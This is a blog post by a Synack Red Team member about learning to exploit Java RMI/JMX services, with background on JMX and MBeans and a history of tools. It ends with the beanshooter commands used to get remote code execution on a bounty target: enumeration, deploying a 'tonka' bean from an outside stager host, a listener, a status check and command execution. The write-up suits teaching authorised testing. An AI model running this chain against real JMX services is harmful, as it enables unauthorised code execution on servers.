Nicolas Krassas is a member of the Synack Red Team and has earned distinctions such as SRT Envoy and Guardian of Trust.
Of all the Synack targets, my favorite ones are always host assessments. There, one can find a multitude of services with different configurations, versions and usage. One that always caused me trouble was the Java RMI case, until I decided to spend time reviewing the process step by step.
Throughout the years there were several targets where skilled Synack Red Team (SRT) members were able to successfully exploit vulnerabilities with Remote Code Execution, and this information in many cases was missing from my arsenal. I set a goal to find out how the exploitation was taking place and to be able to better understand the tools and methods to finding and exploiting it.
A few “good to know” items:
What is Java RMI used for?
The Java Remote Method Invocation (RMI) system allows an object running in one Java virtual machine to invoke methods on an object running in another Java virtual machine. RMI provides for remote communication between programs written in the Java programming language.
What is JMX?
Wikipedia describes Java Management Extensions (JMX) as follows, “Java Management Extensions (JMX) is a Java technology that supplies tools for managing and monitoring applications, system objects, devices (such as printers) and service-oriented networks.”
JMX is often described as the “Java version” of SNMP (Simple Network Management Protocol). SNMP is mainly used to monitor network components like network switches or routers. Like SNMP, JMX is also used for monitoring Java-based applications. The most common use case for JMX is monitoring the availability and performance of a Java application server from a central monitoring solution like Nagios, Icinga or Zabbix.
JMX also shares another similarity with SNMP: While most companies only use the monitoring capabilities, JMX is actually much more powerful. JMX allows the user not only to read values from the remote system, it can also be used to invoke methods on the system.
JMX fundamentals: MBeans
JMX allows you to manage resources as managed beans (MBean). An MBean is a Java Bean class that follows certain design rules of the JMX standard. An MBean can represent a device, an application or any resource that needs to be managed over JMX. You can access these MBeans via JMX, query attributes and invoke Bean methods.
The JMX standard differs between various MBean types; however, we will only deal with the standard MBeans here. To be a valid MBean, a Java class must:
- Implement an interface
- Provide a default constructor (without any arguments)
- Follow certain naming conventions, for example implement getter/setter methods to read/write attributes
MBean server
An MBean server is a service that manages the MBeans of a system, which we’ll see demonstrated in an attack later in this post. Developers can register their MBeans in the server following a specific naming pattern. The MBean server will forward incoming messages to the registered MBeans. The service is also responsible for forwarding messages from MBeans to external components.
After we have a JMX service running on RMI, we can go through the various ways such a service might be attacked. Over time, various attack techniques have been discovered that are related to JMX over RMI, and we will step through most of them one by one.
Abusing available MBeans
Applications are able to register additional MBeans, which can then be invoked remotely. JMX is commonly used for managing applications, therefore the MBeans are often very powerful.
A failed start
Starting research on the topic, the first items that one will see are references to rmiscout, an exceptional tool on the time that was created but not maintained anymore for over two years with several issues on deployment. At that time I moved on BaRMie, which surprisingly is even older than rmiscout but easier to work with for basic recon. An alternative tool, under the name mjet, seems to be more updated and somewhat easier to use but still my results were poor. As one can see right away, many times simply taking a tool from the shelves and trying to work with it is not a solution.
Back to school
Simply using the tools without understanding exactly what they do won’t work in the long run and that’s something that I was aware of from the start. But everybody is looking for shortcuts. Back to reading then, and starting with posts such as this one and this one. I ended up on a relatively recent presentation from Tobias Neitzel, where he also presented his tools, RMG and Beanshooter.
New tools, new methods
With a better understanding and with a pair of excellent tools, the results were the following over the next months.
On a target with several weeks already being launched, the RMI service was not noticed or exploited at that time. The following steps provided an RCE case.
Identifying:
root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar enum server_ip 9999
Tonka bean deployment:
root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar tonka deploy server_ip 9999 –stager-url http://tupoc:8888 –no-stager
On our Tupoc (external Synack collaborator system)
Waiting for a callback:
root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar stager xxx.xx.xx.xx 8888 tonka
Verification:
root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar tonka status server_ip 9999
Command execution:
root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar tonka exec server_ip 9999 id
The case was awarded with a full RCE reward.
Not all cases will happen to be straightforward and in rare occasions issues might arise, but with better understanding of the process and the tools, we are always able to achieve better results.
References:
https://www.youtube.com/watch?v=t_aw1mDNhzI (Amazing work by Tobias Neitzel)
https://docs.jboss.org/jbossas/jboss4guide/r5/html/ch2.chapter.html
https://docs.alfresco.com/content-services/7.0/admin/jmx-reference/
Final notes
During the process, a few issues were identified in the tools that were handled swiftly and additionally an issue was created towards Glassfish repo under, https://github.com/eclipse-ee4j/glassfish/issues/24223.
